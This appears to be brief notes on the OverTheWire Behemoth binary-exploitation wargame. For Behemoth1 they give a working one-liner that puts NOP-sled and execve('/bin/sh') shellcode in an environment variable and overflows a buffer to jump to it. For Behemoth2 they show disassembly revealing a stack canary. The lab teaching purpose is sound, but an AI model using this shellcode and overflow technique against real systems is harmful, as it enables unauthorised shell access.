Overthewire: Behemoth

Behemoth is the next suggested level after narnia, while it still binary exploitation it does not provide the source code of the challenges. Thus requiring users to read the assembly code.

Behemoth0:
ltrace, strings

Behemoth1:
Shellcode Injections , buffer overflow

export LOGNAME=$(python -c "print '\"' + '\x90'*58 +'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80\"'") (python -c "print '\x61'*79+ '\xfe\xde\xff\xff'";cat )| ./behemoth1

Behemoth2:
Absolute adressing


Just a comment :
Reading the main code this time we can see that that canary protection has been activated. You can see this using the following code

   0x08048579 <+12>:    mov    %gs:0x14,%eax
   0x0804857f <+18>:    mov    %eax,0x9c(%esp)
   0x08048586 <+25>:    xor    %eax,%eax

   0x08048620 <+179>:    mov    0x9c(%esp),%edx
   0x08048627 <+186>:    xor    %gs:0x14,%edx
   0x0804862e <+193>:    je     0x8048635 <main+200>
   0x08048630 <+195>:    call   0x80483f0 <__stack_chk_fail@plt>